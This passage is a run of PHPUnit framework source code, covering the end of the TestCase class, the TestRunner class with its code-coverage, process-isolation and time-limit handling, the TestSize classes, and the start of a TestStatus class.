MockObjectException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5244 */ protected function getObjectForTrait(string $traitName, array $arguments = [], string $traitClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true): object { return (new MockGenerator)->objectForTrait( $traitName, $traitClassName, $callAutoload, $callOriginalConstructor, $arguments, ); } protected function transformException(Throwable $t): Throwable { return $t; } /** * This method is called when a test method did not execute successfully. * * @throws Throwable */ protected function onNotSuccessfulTest(Throwable $t): never { throw $t; } /** * @throws AssertionFailedError * @throws Exception * @throws ExpectationFailedException * @throws Throwable */ private function runTest(): mixed { $testArguments = array_merge($this->data, $this->dependencyInput); $this->registerMockObjectsFromTestArguments($testArguments); try { $testResult = $this->{$this->name}(...array_values($testArguments)); } catch (Throwable $exception) { if (!$this->shouldExceptionExpectationsBeVerified($exception)) { throw $exception; } $this->verifyExceptionExpectations($exception); return null; } $this->expectedExceptionWasNotRaised(); return $testResult; } /** * @throws Throwable */ private function verifyMockObjects(): void { foreach ($this->mockObjects as $mockObject) { if ($mockObject->__phpunit_hasMatchers()) { $this->numberOfAssertionsPerformed++; } $mockObject->__phpunit_verify( $this->shouldInvocationMockerBeReset($mockObject), ); } } /** * @throws SkippedTest */ private function checkRequirements(): void { if (!$this->name || !method_exists($this, $this->name)) { return; } $missingRequirements = (new Requirements)->requirementsNotSatisfiedFor( static::class, $this->name, ); if (!empty($missingRequirements)) { $this->markTestSkipped(implode(PHP_EOL, $missingRequirements)); } } private function handleDependencies(): bool { if ([] === $this->dependencies || $this->inIsolation) { return true; } $passedTests = PassedTests::instance(); foreach ($this->dependencies as $dependency) { if (!$dependency->isValid()) { $this->markErrorForInvalidDependency(); return false; } if ($dependency->targetIsClass()) { $dependencyClassName = $dependency->getTargetClassName(); if (!class_exists($dependencyClassName)) { $this->markErrorForInvalidDependency($dependency); return false; } if (!$passedTests->hasTestClassPassed($dependencyClassName)) { $this->markSkippedForMissingDependency($dependency); return false; } continue; } $dependencyTarget = $dependency->getTarget(); if (!$passedTests->hasTestMethodPassed($dependencyTarget)) { if (!$this->isCallableTestMethod($dependencyTarget)) { $this->markErrorForInvalidDependency($dependency); } else { $this->markSkippedForMissingDependency($dependency); } return false; } if ($passedTests->isGreaterThan($dependencyTarget, $this->size())) { Event\Facade::emitter()->testConsideredRisky( $this->valueObjectForEvents(), 'This test depends on a test that is larger than itself', ); return true; } $returnValue = $passedTests->returnValue($dependencyTarget); if ($dependency->deepClone()) { $deepCopy = new DeepCopy; $deepCopy->skipUncloneable(false); $this->dependencyInput[$dependencyTarget] = $deepCopy->copy($returnValue); } elseif ($dependency->shallowClone()) { $this->dependencyInput[$dependencyTarget] = clone $returnValue; } else { $this->dependencyInput[$dependencyTarget] = $returnValue; } } $this->testValueObjectForEvents = null; return true; } /** * @throws Exception * @throws MoreThanOneDataSetFromDataProviderException * @throws NoPreviousThrowableException */ private function markErrorForInvalidDependency(?ExecutionOrderDependency $dependency = null): void { $message = 'This test has an invalid dependency'; if ($dependency !== null) { $message = sprintf( 'This test depends on "%s" which does not exist', $dependency->targetIsClass() ? $dependency->getTargetClassName() : $dependency->getTarget(), ); } $exception = new InvalidDependencyException($message); Event\Facade::emitter()->testErrored( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($exception), ); $this->status = TestStatus::error($message); } /** * @throws MoreThanOneDataSetFromDataProviderException */ private function markSkippedForMissingDependency(ExecutionOrderDependency $dependency): void { $message = sprintf( 'This test depends on "%s" to pass', $dependency->getTarget(), ); Event\Facade::emitter()->testSkipped( $this->valueObjectForEvents(), $message, ); $this->status = TestStatus::skipped($message); } private function startOutputBuffering(): void { ob_start(); $this->outputBufferingActive = true; $this->outputBufferingLevel = ob_get_level(); } /** * @throws MoreThanOneDataSetFromDataProviderException */ private function stopOutputBuffering(): bool { $bufferingLevel = ob_get_level(); if ($bufferingLevel !== $this->outputBufferingLevel) { if ($bufferingLevel > $this->outputBufferingLevel) { $message = 'Test code or tested code did not close its own output buffers'; } else { $message = 'Test code or tested code closed output buffers other than its own'; } while (ob_get_level() >= $this->outputBufferingLevel) { ob_end_clean(); } Event\Facade::emitter()->testConsideredRisky( $this->valueObjectForEvents(), $message, ); return false; } $this->output = ob_get_clean(); $this->outputBufferingActive = false; $this->outputBufferingLevel = ob_get_level(); return true; } private function snapshotGlobalState(): void { if ($this->runTestInSeparateProcess || $this->inIsolation || (!$this->backupGlobals && !$this->backupStaticProperties)) { return; } $snapshot = $this->createGlobalStateSnapshot($this->backupGlobals === true); $this->snapshot = $snapshot; } /** * @throws MoreThanOneDataSetFromDataProviderException */ private function restoreGlobalState(): void { if (!$this->snapshot instanceof Snapshot) { return; } if (ConfigurationRegistry::get()->beStrictAboutChangesToGlobalState()) { $this->compareGlobalStateSnapshots( $this->snapshot, $this->createGlobalStateSnapshot($this->backupGlobals === true), ); } $restorer = new Restorer; if ($this->backupGlobals) { $restorer->restoreGlobalVariables($this->snapshot); } if ($this->backupStaticProperties) { $restorer->restoreStaticProperties($this->snapshot); } $this->snapshot = null; } private function createGlobalStateSnapshot(bool $backupGlobals): Snapshot { $excludeList = new GlobalStateExcludeList; foreach ($this->backupGlobalsExcludeList as $globalVariable) { $excludeList->addGlobalVariable($globalVariable); } if (!defined('PHPUNIT_TESTSUITE')) { $excludeList->addClassNamePrefix('PHPUnit'); $excludeList->addClassNamePrefix('SebastianBergmann\CodeCoverage'); $excludeList->addClassNamePrefix('SebastianBergmann\FileIterator'); $excludeList->addClassNamePrefix('SebastianBergmann\Invoker'); $excludeList->addClassNamePrefix('SebastianBergmann\Template'); $excludeList->addClassNamePrefix('SebastianBergmann\Timer'); $excludeList->addStaticProperty(ComparatorFactory::class, 'instance'); foreach ($this->backupStaticPropertiesExcludeList as $class => $properties) { foreach ($properties as $property) { $excludeList->addStaticProperty($class, $property); } } } return new Snapshot( $excludeList, $backupGlobals, (bool) $this->backupStaticProperties, false, false, false, false, false, false, false, ); } /** * @throws MoreThanOneDataSetFromDataProviderException */ private function compareGlobalStateSnapshots(Snapshot $before, Snapshot $after): void { $backupGlobals = $this->backupGlobals === null || $this->backupGlobals; if ($backupGlobals) { $this->compareGlobalStateSnapshotPart( $before->globalVariables(), $after->globalVariables(), "--- Global variables before the test\n+++ Global variables after the test\n", ); $this->compareGlobalStateSnapshotPart( $before->superGlobalVariables(), $after->superGlobalVariables(), "--- Super-global variables before the test\n+++ Super-global variables after the test\n", ); } if ($this->backupStaticProperties) { $this->compareGlobalStateSnapshotPart( $before->staticProperties(), $after->staticProperties(), "--- Static properties before the test\n+++ Static properties after the test\n", ); } } /** * @throws MoreThanOneDataSetFromDataProviderException */ private function compareGlobalStateSnapshotPart(array $before, array $after, string $header): void { if ($before != $after) { $differ = new Differ(new UnifiedDiffOutputBuilder($header)); $exporter = new Exporter; Event\Facade::emitter()->testConsideredRisky( $this->valueObjectForEvents(), 'This test modified global state but was not expected to do so' . PHP_EOL . trim( $differ->diff( $exporter->export($before), $exporter->export($after), ), ), ); } } private function shouldInvocationMockerBeReset(MockObject $mock): bool { $enumerator = new Enumerator; if (in_array($mock, $enumerator->enumerate($this->dependencyInput), true)) { return false; } if (!is_array($this->testResult) && !is_object($this->testResult)) { return true; } return !in_array($mock, $enumerator->enumerate($this->testResult), true); } /** * @deprecated */ private function registerMockObjectsFromTestArguments(array $testArguments, Context $context = new Context): void { if ($this->registerMockObjectsFromTestArgumentsRecursively) { foreach ((new Enumerator)->enumerate($testArguments) as $object) { if ($object instanceof MockObject) { $this->registerMockObject($object); } } } else { foreach ($testArguments as &$testArgument) { if ($testArgument instanceof MockObject) { $testArgument = Cloner::clone($testArgument); $this->registerMockObject($testArgument); } elseif (is_array($testArgument) && !$context->contains($testArgument)) { $testArgumentCopy = $testArgument; $context->add($testArgument); $this->registerMockObjectsFromTestArguments( $testArgumentCopy, $context, ); } } } } private function unregisterCustomComparators(): void { $factory = ComparatorFactory::getInstance(); foreach ($this->customComparators as $comparator) { $factory->unregister($comparator); } $this->customComparators = []; } private function cleanupIniSettings(): void { foreach ($this->iniSettings as $varName => $oldValue) { ini_set($varName, $oldValue); } $this->iniSettings = []; } private function cleanupLocaleSettings(): void { foreach ($this->locale as $category => $locale) { setlocale($category, $locale); } $this->locale = []; } /** * @throws Exception */ private function shouldExceptionExpectationsBeVerified(Throwable $throwable): bool { $result = false; if ($this->expectedException !== null || $this->expectedExceptionCode !== null || $this->expectedExceptionMessage !== null || $this->expectedExceptionMessageRegExp !== null) { $result = true; } if ($throwable instanceof Exception) { $result = false; } if (is_string($this->expectedException)) { try { $reflector = new ReflectionClass($this->expectedException); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd if ($this->expectedException === 'PHPUnit\Framework\Exception' || $this->expectedException === '\PHPUnit\Framework\Exception' || $reflector->isSubclassOf(Exception::class)) { $result = true; } } return $result; } private function shouldRunInSeparateProcess(): bool { if ($this->inIsolation) { return false; } if ($this->runTestInSeparateProcess) { return true; } if ($this->runClassInSeparateProcess) { return true; } return ConfigurationRegistry::get()->processIsolation(); } private function isCallableTestMethod(string $dependency): bool { [$className, $methodName] = explode('::', $dependency); if (!class_exists($className)) { return false; } $class = new ReflectionClass($className); if (!$class->isSubclassOf(__CLASS__)) { return false; } if (!$class->hasMethod($methodName)) { return false; } return TestUtil::isTestMethod( $class->getMethod($methodName), ); } /** * @throws Exception * @throws ExpectationFailedException * @throws MoreThanOneDataSetFromDataProviderException * @throws NoPreviousThrowableException */ private function performAssertionsOnOutput(): void { try { if ($this->outputExpectedRegex !== null) { $this->assertMatchesRegularExpression($this->outputExpectedRegex, $this->output); } elseif ($this->outputExpectedString !== null) { $this->assertSame($this->outputExpectedString, $this->output); } } catch (ExpectationFailedException $e) { $this->status = TestStatus::failure($e->getMessage()); Event\Facade::emitter()->testFailed( $this->valueObjectForEvents(), Event\Code\ThrowableBuilder::from($e), Event\Code\ComparisonFailureBuilder::from($e), ); throw $e; } } /** * @throws Throwable * * @codeCoverageIgnore */ private function invokeBeforeClassHookMethods(array $hookMethods, Event\Emitter $emitter): void { $this->invokeHookMethods( $hookMethods['beforeClass'], $emitter, 'beforeFirstTestMethodCalled', 'beforeFirstTestMethodErrored', 'beforeFirstTestMethodFinished', ); } /** * @throws Throwable */ private function invokeBeforeTestHookMethods(array $hookMethods, Event\Emitter $emitter): void { $this->invokeHookMethods( $hookMethods['before'], $emitter, 'beforeTestMethodCalled', 'beforeTestMethodErrored', 'beforeTestMethodFinished', ); } /** * @throws Throwable */ private function invokePreConditionHookMethods(array $hookMethods, Event\Emitter $emitter): void { $this->invokeHookMethods( $hookMethods['preCondition'], $emitter, 'preConditionCalled', 'preConditionErrored', 'preConditionFinished', ); } /** * @throws Throwable */ private function invokePostConditionHookMethods(array $hookMethods, Event\Emitter $emitter): void { $this->invokeHookMethods( $hookMethods['postCondition'], $emitter, 'postConditionCalled', 'postConditionErrored', 'postConditionFinished', ); } /** * @throws Throwable */ private function invokeAfterTestHookMethods(array $hookMethods, Event\Emitter $emitter): void { $this->invokeHookMethods( $hookMethods['after'], $emitter, 'afterTestMethodCalled', 'afterTestMethodErrored', 'afterTestMethodFinished', ); } /** * @throws Throwable * * @codeCoverageIgnore */ private function invokeAfterClassHookMethods(array $hookMethods, Event\Emitter $emitter): void { $this->invokeHookMethods( $hookMethods['afterClass'], $emitter, 'afterLastTestMethodCalled', 'afterLastTestMethodErrored', 'afterLastTestMethodFinished', ); } /** * @psalm-param list $hookMethods * @psalm-param 'beforeFirstTestMethodCalled'|'beforeTestMethodCalled'|'preConditionCalled'|'postConditionCalled'|'afterTestMethodCalled'|'afterLastTestMethodCalled' $calledMethod * @psalm-param 'beforeFirstTestMethodErrored'|'beforeTestMethodErrored'|'preConditionErrored'|'postConditionErrored'|'afterTestMethodErrored'|'afterLastTestMethodErrored' $erroredMethod * @psalm-param 'beforeFirstTestMethodFinished'|'beforeTestMethodFinished'|'preConditionFinished'|'postConditionFinished'|'afterTestMethodFinished'|'afterLastTestMethodFinished' $finishedMethod * * @throws Throwable */ private function invokeHookMethods(array $hookMethods, Event\Emitter $emitter, string $calledMethod, string $erroredMethod, string $finishedMethod): void { $methodsInvoked = []; foreach ($hookMethods as $methodName) { if ($this->methodDoesNotExistOrIsDeclaredInTestCase($methodName)) { continue; } $methodInvoked = new Event\Code\ClassMethod( static::class, $methodName, ); try { $this->{$methodName}(); } catch (Throwable $t) { } $emitter->{$calledMethod}( static::class, $methodInvoked ); $methodsInvoked[] = $methodInvoked; if (isset($t)) { $emitter->{$erroredMethod}( static::class, $methodInvoked, Event\Code\ThrowableBuilder::from($t), ); break; } } if (!empty($methodsInvoked)) { $emitter->{$finishedMethod}( static::class, ...$methodsInvoked ); } if (isset($t)) { throw $t; } } private function methodDoesNotExistOrIsDeclaredInTestCase(string $methodName): bool { $reflector = new ReflectionObject($this); return !$reflector->hasMethod($methodName) || $reflector->getMethod($methodName)->getDeclaringClass()->getName() === self::class; } /** * @throws ExpectationFailedException */ private function verifyExceptionExpectations(\Exception|Throwable $exception): void { if ($this->expectedException !== null) { $this->assertThat( $exception, new ExceptionConstraint( $this->expectedException, ), ); } if ($this->expectedExceptionMessage !== null) { $this->assertThat( $exception->getMessage(), new ExceptionMessageIsOrContains( $this->expectedExceptionMessage, ), ); } if ($this->expectedExceptionMessageRegExp !== null) { $this->assertThat( $exception->getMessage(), new ExceptionMessageMatchesRegularExpression( $this->expectedExceptionMessageRegExp, ), ); } if ($this->expectedExceptionCode !== null) { $this->assertThat( $exception->getCode(), new ExceptionCode( $this->expectedExceptionCode, ), ); } } /** * @throws AssertionFailedError */ private function expectedExceptionWasNotRaised(): void { if ($this->expectedException !== null) { $this->assertThat( null, new ExceptionConstraint($this->expectedException), ); } elseif ($this->expectedExceptionMessage !== null) { $this->numberOfAssertionsPerformed++; throw new AssertionFailedError( sprintf( 'Failed asserting that exception with message "%s" is thrown', $this->expectedExceptionMessage, ), ); } elseif ($this->expectedExceptionMessageRegExp !== null) { $this->numberOfAssertionsPerformed++; throw new AssertionFailedError( sprintf( 'Failed asserting that exception with message matching "%s" is thrown', $this->expectedExceptionMessageRegExp, ), ); } elseif ($this->expectedExceptionCode !== null) { $this->numberOfAssertionsPerformed++; throw new AssertionFailedError( sprintf( 'Failed asserting that exception with code "%s" is thrown', $this->expectedExceptionCode, ), ); } } private function isRegisteredFailure(Throwable $t): bool { foreach (array_keys($this->failureTypes) as $failureType) { if ($t instanceof $failureType) { return true; } } return false; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ private function hasExpectationOnOutput(): bool { return is_string($this->outputExpectedString) || is_string($this->outputExpectedRegex); } private function requirementsNotSatisfied(): bool { return (new Requirements)->requirementsNotSatisfiedFor(static::class, $this->name) !== []; } /** * @see https://github.com/sebastianbergmann/phpunit/issues/6095 */ private function handleExceptionFromInvokedCountMockObjectRule(Throwable $t): void { if (!$t instanceof ExpectationFailedException) { return; } $trace = $t->getTrace(); if (isset($trace[0]['class']) && $trace[0]['class'] === InvokedCount::class) { $this->numberOfAssertionsPerformed++; } } /** * Creates a test stub for the specified interface or class. * * @psalm-template RealInstanceType of object * * @psalm-param class-string $originalClassName * * @throws InvalidArgumentException * @throws MockObjectException * @throws NoPreviousThrowableException * * @psalm-return Stub&RealInstanceType */ protected static function createStub(string $originalClassName): Stub { $stub = (new MockGenerator)->testDouble( $originalClassName, true, callOriginalConstructor: false, callOriginalClone: false, cloneArguments: false, allowMockingUnknownTypes: false, ); Event\Facade::emitter()->testCreatedStub($originalClassName); assert($stub instanceof $originalClassName); assert($stub instanceof Stub); return $stub; } /** * @psalm-param list $interfaces * * @throws MockObjectException */ protected static function createStubForIntersectionOfInterfaces(array $interfaces): Stub { $stub = (new MockGenerator)->testDoubleForInterfaceIntersection($interfaces, true); Event\Facade::emitter()->testCreatedStubForIntersectionOfInterfaces($interfaces); return $stub; } /** * Creates (and configures) a test stub for the specified interface or class. * * @psalm-template RealInstanceType of object * * @psalm-param class-string $originalClassName * * @throws InvalidArgumentException * @throws MockObjectException * @throws NoPreviousThrowableException * * @psalm-return Stub&RealInstanceType */ final protected static function createConfiguredStub(string $originalClassName, array $configuration): Stub { $o = self::createStub($originalClassName); foreach ($configuration as $method => $return) { $o->method($method)->willReturn($return); } return $o; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function assert; use function defined; use function error_clear_last; use function extension_loaded; use function get_include_path; use function hrtime; use function serialize; use function sprintf; use function sys_get_temp_dir; use function tempnam; use function unlink; use function var_export; use function xdebug_is_debugger_active; use AssertionError; use PHPUnit\Event; use PHPUnit\Event\NoPreviousThrowableException; use PHPUnit\Event\TestData\MoreThanOneDataSetFromDataProviderException; use PHPUnit\Metadata\Api\CodeCoverage as CodeCoverageMetadataApi; use PHPUnit\Metadata\Parser\Registry as MetadataRegistry; use PHPUnit\Runner\CodeCoverage; use PHPUnit\Runner\ErrorHandler; use PHPUnit\TextUI\Configuration\Configuration; use PHPUnit\TextUI\Configuration\Registry as ConfigurationRegistry; use PHPUnit\Util\GlobalState; use PHPUnit\Util\PHP\AbstractPhpProcess; use ReflectionClass; use SebastianBergmann\CodeCoverage\Exception as OriginalCodeCoverageException; use SebastianBergmann\CodeCoverage\InvalidArgumentException; use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; use SebastianBergmann\Invoker\Invoker; use SebastianBergmann\Invoker\TimeoutException; use SebastianBergmann\Template\Template; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestRunner { private ?bool $timeLimitCanBeEnforced = null; private readonly Configuration $configuration; public function __construct() { $this->configuration = ConfigurationRegistry::get(); } /** * @throws \PHPUnit\Runner\Exception * @throws CodeCoverageException * @throws InvalidArgumentException * @throws MoreThanOneDataSetFromDataProviderException * @throws UnintentionallyCoveredCodeException */ public function run(TestCase $test): void { Assert::resetCount(); if ($this->configuration->registerMockObjectsFromTestArgumentsRecursively()) { $test->registerMockObjectsFromTestArgumentsRecursively(); } $shouldCodeCoverageBeCollected = (new CodeCoverageMetadataApi)->shouldCodeCoverageBeCollectedFor( $test::class, $test->name(), ); $error = false; $failure = false; $incomplete = false; $risky = false; $skipped = false; error_clear_last(); if ($this->shouldErrorHandlerBeUsed($test)) { ErrorHandler::instance()->enable(); } $collectCodeCoverage = CodeCoverage::instance()->isActive() && $shouldCodeCoverageBeCollected; if ($collectCodeCoverage) { CodeCoverage::instance()->start($test); } try { if ($this->canTimeLimitBeEnforced() && $this->shouldTimeLimitBeEnforced($test)) { $risky = $this->runTestWithTimeout($test); } else { $test->runBare(); } } catch (AssertionFailedError $e) { $failure = true; if ($e instanceof IncompleteTestError) { $incomplete = true; } elseif ($e instanceof SkippedTest) { $skipped = true; } } catch (AssertionError $e) { $test->addToAssertionCount(1); $failure = true; $frame = $e->getTrace()[0]; assert(isset($frame['file'])); assert(isset($frame['line'])); $e = new AssertionFailedError( sprintf( '%s in %s:%s', $e->getMessage(), $frame['file'], $frame['line'], ), ); } catch (Throwable $e) { $error = true; } $test->addToAssertionCount(Assert::getCount()); if ($this->configuration->reportUselessTests() && !$test->doesNotPerformAssertions() && $test->numberOfAssertionsPerformed() === 0) { $risky = true; } if (!$error && !$failure && !$incomplete && !$skipped && !$risky && $this->configuration->requireCoverageMetadata() && !$this->hasCoverageMetadata($test::class, $test->name())) { Event\Facade::emitter()->testConsideredRisky( $test->valueObjectForEvents(), 'This test does not define a code coverage target but is expected to do so', ); $risky = true; } if ($collectCodeCoverage) { $append = !$risky && !$incomplete && !$skipped; $linesToBeCovered = []; $linesToBeUsed = []; if ($append) { try { $linesToBeCovered = (new CodeCoverageMetadataApi)->linesToBeCovered( $test::class, $test->name(), ); $linesToBeUsed = (new CodeCoverageMetadataApi)->linesToBeUsed( $test::class, $test->name(), ); } catch (InvalidCoversTargetException $cce) { Event\Facade::emitter()->testTriggeredPhpunitWarning( $test->valueObjectForEvents(), $cce->getMessage(), ); $append = false; } } try { CodeCoverage::instance()->stop( $append, $linesToBeCovered, $linesToBeUsed, ); } catch (UnintentionallyCoveredCodeException $cce) { Event\Facade::emitter()->testConsideredRisky( $test->valueObjectForEvents(), 'This test executed code that is not listed as code to be covered or used:' . PHP_EOL . $cce->getMessage(), ); } catch (OriginalCodeCoverageException $cce) { $error = true; $e = $e ?? $cce; } } ErrorHandler::instance()->disable(); if (!$error && !$incomplete && !$skipped && $this->configuration->reportUselessTests() && !$test->doesNotPerformAssertions() && $test->numberOfAssertionsPerformed() === 0) { Event\Facade::emitter()->testConsideredRisky( $test->valueObjectForEvents(), 'This test did not perform any assertions', ); } if ($test->doesNotPerformAssertions() && $test->numberOfAssertionsPerformed() > 0) { Event\Facade::emitter()->testConsideredRisky( $test->valueObjectForEvents(), sprintf( 'This test is not expected to perform assertions but performed %d assertion%s', $test->numberOfAssertionsPerformed(), $test->numberOfAssertionsPerformed() > 1 ? 's' : '', ), ); } if ($test->hasUnexpectedOutput()) { Event\Facade::emitter()->testPrintedUnexpectedOutput($test->output()); } if ($this->configuration->disallowTestOutput() && $test->hasUnexpectedOutput()) { Event\Facade::emitter()->testConsideredRisky( $test->valueObjectForEvents(), sprintf( 'Test code or tested code printed unexpected output: %s', $test->output(), ), ); } if ($test->wasPrepared()) { Event\Facade::emitter()->testFinished( $test->valueObjectForEvents(), $test->numberOfAssertionsPerformed(), ); } } /** * @throws \PHPUnit\Runner\Exception * @throws \PHPUnit\Util\Exception * @throws \SebastianBergmann\Template\InvalidArgumentException * @throws Exception * @throws MoreThanOneDataSetFromDataProviderException * @throws NoPreviousThrowableException * @throws ProcessIsolationException */ public function runInSeparateProcess(TestCase $test, bool $runEntireClass, bool $preserveGlobalState): void { $class = new ReflectionClass($test); if ($runEntireClass) { $template = new Template( __DIR__ . '/../Util/PHP/Template/TestCaseClass.tpl', ); } else { $template = new Template( __DIR__ . '/../Util/PHP/Template/TestCaseMethod.tpl', ); } $bootstrap = ''; $constants = ''; $globals = ''; $includedFiles = ''; $iniSettings = ''; if (ConfigurationRegistry::get()->hasBootstrap()) { $bootstrap = ConfigurationRegistry::get()->bootstrap(); } if ($preserveGlobalState) { $constants = GlobalState::getConstantsAsString(); $globals = GlobalState::getGlobalsAsString(); $includedFiles = GlobalState::getIncludedFilesAsString(); $iniSettings = GlobalState::getIniSettingsAsString(); } $exportObjects = Event\Facade::emitter()->exportsObjects() ? 'true' : 'false'; $coverage = CodeCoverage::instance()->isActive() ? 'true' : 'false'; $linesToBeIgnored = var_export(CodeCoverage::instance()->linesToBeIgnored(), true); if (defined('PHPUNIT_COMPOSER_INSTALL')) { $composerAutoload = var_export(PHPUNIT_COMPOSER_INSTALL, true); } else { $composerAutoload = '\'\''; } if (defined('__PHPUNIT_PHAR__')) { $phar = var_export(__PHPUNIT_PHAR__, true); } else { $phar = '\'\''; } $data = var_export(serialize($test->providedData()), true); $dataName = var_export($test->dataName(), true); $dependencyInput = var_export(serialize($test->dependencyInput()), true); $includePath = var_export(get_include_path(), true); // must do these fixes because TestCaseMethod.tpl has unserialize('{data}') in it, and we can't break BC // the lines above used to use addcslashes() rather than var_export(), which breaks null byte escape sequences $data = "'." . $data . ".'"; $dataName = "'.(" . $dataName . ").'"; $dependencyInput = "'." . $dependencyInput . ".'"; $includePath = "'." . $includePath . ".'"; $offset = hrtime(); $serializedConfiguration = $this->saveConfigurationForChildProcess(); $processResultFile = tempnam(sys_get_temp_dir(), 'phpunit_'); $var = [ 'bootstrap' => $bootstrap, 'composerAutoload' => $composerAutoload, 'phar' => $phar, 'filename' => $class->getFileName(), 'className' => $class->getName(), 'collectCodeCoverageInformation' => $coverage, 'linesToBeIgnored' => $linesToBeIgnored, 'data' => $data, 'dataName' => $dataName, 'dependencyInput' => $dependencyInput, 'constants' => $constants, 'globals' => $globals, 'include_path' => $includePath, 'included_files' => $includedFiles, 'iniSettings' => $iniSettings, 'name' => $test->name(), 'offsetSeconds' => $offset[0], 'offsetNanoseconds' => $offset[1], 'serializedConfiguration' => $serializedConfiguration, 'processResultFile' => $processResultFile, 'exportObjects' => $exportObjects, ]; if (!$runEntireClass) { $var['methodName'] = $test->name(); } $template->setVar($var); $php = AbstractPhpProcess::factory(); $php->runTestJob($template->render(), $test, $processResultFile); @unlink($serializedConfiguration); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ private function hasCoverageMetadata(string $className, string $methodName): bool { foreach (MetadataRegistry::parser()->forClassAndMethod($className, $methodName) as $metadata) { if ($metadata->isCovers()) { return true; } if ($metadata->isCoversClass()) { return true; } if ($metadata->isCoversFunction()) { return true; } if ($metadata->isCoversNothing()) { return true; } } return false; } private function canTimeLimitBeEnforced(): bool { if ($this->timeLimitCanBeEnforced !== null) { return $this->timeLimitCanBeEnforced; } $this->timeLimitCanBeEnforced = (new Invoker)->canInvokeWithTimeout(); return $this->timeLimitCanBeEnforced; } private function shouldTimeLimitBeEnforced(TestCase $test): bool { if (!$this->configuration->enforceTimeLimit()) { return false; } if (!(($this->configuration->defaultTimeLimit() || $test->size()->isKnown()))) { return false; } if (extension_loaded('xdebug') && xdebug_is_debugger_active()) { return false; } return true; } /** * @throws Throwable */ private function runTestWithTimeout(TestCase $test): bool { $_timeout = $this->configuration->defaultTimeLimit(); $testSize = $test->size(); if ($testSize->isSmall()) { $_timeout = $this->configuration->timeoutForSmallTests(); } elseif ($testSize->isMedium()) { $_timeout = $this->configuration->timeoutForMediumTests(); } elseif ($testSize->isLarge()) { $_timeout = $this->configuration->timeoutForLargeTests(); } try { (new Invoker)->invoke([$test, 'runBare'], [], $_timeout); } catch (TimeoutException) { Event\Facade::emitter()->testConsideredRisky( $test->valueObjectForEvents(), sprintf( 'This test was aborted after %d second%s', $_timeout, $_timeout !== 1 ? 's' : '', ), ); return true; } return false; } /** * @throws ProcessIsolationException */ private function saveConfigurationForChildProcess(): string { $path = tempnam(sys_get_temp_dir(), 'phpunit_'); if ($path === false) { throw new ProcessIsolationException; } if (!ConfigurationRegistry::saveTo($path)) { throw new ProcessIsolationException; } return $path; } private function shouldErrorHandlerBeUsed(TestCase $test): bool { if (MetadataRegistry::parser()->forMethod($test::class, $test->name())->isWithoutErrorHandler()->isNotEmpty()) { return false; } return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestSize; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ abstract class Known extends TestSize { /** * @psalm-assert-if-true Known $this */ public function isKnown(): bool { return true; } abstract public function isGreaterThan(self $other): bool; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestSize; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Large extends Known { /** * @psalm-assert-if-true Large $this */ public function isLarge(): bool { return true; } public function isGreaterThan(TestSize $other): bool { return !$other->isLarge(); } public function asString(): string { return 'large'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestSize; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Medium extends Known { /** * @psalm-assert-if-true Medium $this */ public function isMedium(): bool { return true; } public function isGreaterThan(TestSize $other): bool { return $other->isSmall(); } public function asString(): string { return 'medium'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestSize; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Small extends Known { /** * @psalm-assert-if-true Small $this */ public function isSmall(): bool { return true; } public function isGreaterThan(TestSize $other): bool { return false; } public function asString(): string { return 'small'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestSize; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ abstract class TestSize { public static function unknown(): self { return new Unknown; } public static function small(): self { return new Small; } public static function medium(): self { return new Medium; } public static function large(): self { return new Large; } /** * @psalm-assert-if-true Known $this */ public function isKnown(): bool { return false; } /** * @psalm-assert-if-true Unknown $this */ public function isUnknown(): bool { return false; } /** * @psalm-assert-if-true Small $this */ public function isSmall(): bool { return false; } /** * @psalm-assert-if-true Medium $this */ public function isMedium(): bool { return false; } /** * @psalm-assert-if-true Large $this */ public function isLarge(): bool { return false; } abstract public function asString(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestSize; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Unknown extends TestSize { /** * @psalm-assert-if-true Unknown $this */ public function isUnknown(): bool { return true; } public function asString(): string { return 'unknown'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Deprecation extends Known { /** * @psalm-assert-if-true Deprecation $this */ public function isDeprecation(): bool { return true; } public function asInt(): int { return 4; } public 